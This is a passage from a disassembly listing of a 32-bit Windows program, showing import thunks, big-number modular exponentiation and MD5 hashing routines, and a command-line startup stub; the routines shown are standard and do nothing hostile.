sub_40BA24	proc near		; CODE XREF: sub_4053A1+131p
		jmp	ds:dword_447350
sub_40BA24	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BA30	proc near		; CODE XREF: sub_4069E2+5Fp
		jmp	ds:dword_44735C
sub_40BA30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BA3C	proc near		; CODE XREF: sub_4069E2+35p
		jmp	ds:dword_447360
sub_40BA3C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BA48	proc near		; CODE XREF: sub_4069E2+22p
		jmp	ds:dword_447364
sub_40BA48	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BA54	proc near		; CODE XREF: sub_406987+4Cp
		jmp	ds:dword_447368
sub_40BA54	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA60	proc near		; CODE XREF: sub_4088A5+1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, dword_446C54
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_40BB2B
		xor	edx, edx

loc_40BA90:				; CODE XREF: sub_40BA60+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_40BAA2
		mov	edx, [ebp+arg_4]
		call	sub_40BABC

loc_40BAA2:				; CODE XREF: sub_40BA60+38j
		lea	edx, dword_446C54
		call	sub_40BABC
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_40BA90
		popa
		pop	ebp
		retn	10h
sub_40BA60	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40BABC	proc near		; CODE XREF: sub_40BA60+3Dp
					; sub_40BA60+48p
		lea	edi, dword_446C14
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, dword_446C54
		call	sub_40BB2B

loc_40BAD6:				; CODE XREF: sub_40BABC+5Dj
		lea	edi, dword_446C14
		mov	ecx, 10h
		xor	eax, eax

loc_40BAE3:				; CODE XREF: sub_40BABC+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_40BAE3
		call	sub_40BB3C
		bt	dword_446C54, ebx
		jnb	short loc_40BB18
		mov	esi, edx
		lea	edi, dword_446C14
		xor	eax, eax
		mov	ecx, 10h

loc_40BB07:				; CODE XREF: sub_40BABC+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_40BB07
		call	sub_40BB3C

loc_40BB18:				; CODE XREF: sub_40BABC+3Aj
		dec	ebx
		jns	short loc_40BAD6
		mov	edi, edx
		lea	esi, dword_446C14
		mov	ecx, 10h
		rep movsd
		retn
sub_40BABC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB2B	proc near		; CODE XREF: sub_40BA60+29p
					; sub_40BABC+15p
		mov	ebx, 1FFh

loc_40BB30:				; CODE XREF: sub_40BB2B+Bj
		bt	[edi], ebx
		jb	short locret_40BB38
		dec	ebx
		jnz	short loc_40BB30

locret_40BB38:				; CODE XREF: sub_40BB2B+8j
		retn
sub_40BB2B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40BB3C	proc near		; CODE XREF: sub_40BABC+2Ep
					; sub_40BABC+57p
		lea	esi, dword_446C14
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh

loc_40BB4A:				; CODE XREF: sub_40BB3C+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_40BB73
		ja	short loc_40BB57
		dec	ecx
		jns	short loc_40BB4A

loc_40BB57:				; CODE XREF: sub_40BB3C+16j
		mov	esi, [ebp+14h]
		lea	edi, dword_446C14
		xor	eax, eax
		mov	ecx, 10h

loc_40BB67:				; CODE XREF: sub_40BB3C+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_40BB67

locret_40BB73:				; CODE XREF: sub_40BB3C+14j
		retn
sub_40BB3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB74	proc near		; CODE XREF: sub_40BBC5+32p
					; sub_40BBC5+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_40BB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB81	proc near		; CODE XREF: sub_40BBC5+219p
					; sub_40BBC5+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_40BB81	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB8E	proc near		; CODE XREF: sub_40BBC5+420p
					; sub_40BBC5+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_40BB8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB95	proc near		; CODE XREF: sub_40BBC5+627p
					; sub_40BBC5+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_40BB95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB9E	proc near		; CODE XREF: sub_4088D5+94p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_40BB9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BBC5	proc near		; CODE XREF: sub_4088D5+B1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	dword_446C94, eax
		mov	eax, [edi+4]
		mov	dword_446C98, eax
		mov	eax, [edi+8]
		mov	dword_446C9C, eax
		mov	eax, [edi+0Ch]
		mov	dword_446CA0, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB74
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB74
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB74
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB74
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB74
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB74
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB74
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB74
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB74
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB74
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB74
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB74
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB74
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB74
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB74
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB81
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB81
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB81
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB81
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB81
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB81
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB81
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB81
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB81
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB81
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB81
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB81
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB81
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB81
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB81
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB81
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB8E
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB8E
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB8E
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB8E
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB8E
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB8E
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB8E
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB8E
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB8E
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB8E
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB8E
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB8E
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB8E
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB8E
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB8E
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB8E
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB95
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB95
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB95
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB95
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB95
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB95
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB95
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB95
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB95
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB95
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB95
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB95
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BB95
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BB95
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BB95
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BB95
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, dword_446C94
		add	[edi], eax
		mov	eax, dword_446C98
		add	[edi+4], eax
		mov	eax, dword_446C9C
		add	[edi+8], eax
		mov	eax, dword_446CA0
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_40BBC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C410	proc near		; CODE XREF: sub_409847+D90p

var_1C		= dword	ptr -1Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		fnstcw	[ebp+var_2]
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		fldcw	[ebp+var_2]
		leave
		retn
sub_40C410	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C434	proc near		; CODE XREF: sub_401219+66p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_40C4FC	; GetCommandLineA
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_40C468
		push	22h
		mov	eax, edi
		inc	eax
		push	eax
		call	sub_40CA60
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_40C483
		mov	edi, eax
		inc	edi
		jmp	short loc_40C460
; ---------------------------------------------------------------------------

loc_40C45F:				; CODE XREF: sub_40C434+2Fj
		inc	edi

loc_40C460:				; CODE XREF: sub_40C434+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_40C45F
		jmp	short loc_40C483
; ---------------------------------------------------------------------------

loc_40C467:				; CODE XREF: sub_40C434+3Ej
		inc	edi

loc_40C468:				; CODE XREF: sub_40C434+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_40C474
		cmp	eax, 20h
		jnz	short loc_40C467

loc_40C474:				; CODE XREF: sub_40C434+39j
		jmp	short loc_40C477
; ---------------------------------------------------------------------------

loc_40C476:				; CODE XREF: sub_40C434+4Dj
		inc	edi

loc_40C477:				; CODE XREF: sub_40C434:loc_40C474j
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_40C483
		cmp	eax, 20h
		jz	short loc_40C476

loc_40C483:				; CODE XREF: sub_40C434+24j
					; sub_40C434+31j ...
		push	0
		call	sub_40C550	; GetModuleHandleA
		push	1
		push	edi
		push	0
		push	eax
		call	sub_40A766
		pop	edi
		leave
		retn
sub_40C434	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C498	proc near		; CODE XREF: sub_401334+8p
					; sub_402A4D+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx

loc_40C499:				; CODE XREF: sub_40C498+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_40C499
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_40C498	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40C4B8	proc near		; CODE XREF: sub_401B9A+CAp
					; sub_4053A1+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_40C4B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4E4	proc near		; CODE XREF: sub_40A766+360p
		jmp	ds:dword_447374
sub_40C4E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4F0	proc near		; CODE XREF: sub_4062CD+152p
					; sub_408BE4+114p
		jmp	ds:dword_447378
sub_40C4F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4FC	proc near		; CODE XREF: sub_40C434+5p
		jmp	ds:dword_44737C
sub_40C4FC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C508	proc near		; CODE XREF: .text:00401969p
					; sub_401A36+33p ...
		jmp	ds:dword_447380
sub_40C508	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C514	proc near		; CODE XREF: sub_401334+29p
					; sub_4015EB+Ep ...
		jmp	ds:dword_447384
sub_40C514	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C520	proc near		; CODE XREF: sub_401A36+6Fp
					; sub_409847+6F7p
		jmp	ds:dword_447388
sub_40C520	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C52C	proc near		; CODE XREF: sub_40847D+FFp
		jmp	ds:dword_44738C
sub_40C52C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C538	proc near		; CODE XREF: sub_401334:loc_4013FFp
					; .text:004019A5p ...
		jmp	ds:dword_447390
sub_40C538	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C544	proc near		; CODE XREF: sub_403AA3+148p
					; sub_404194+5Ep ...
		jmp	ds:dword_447394
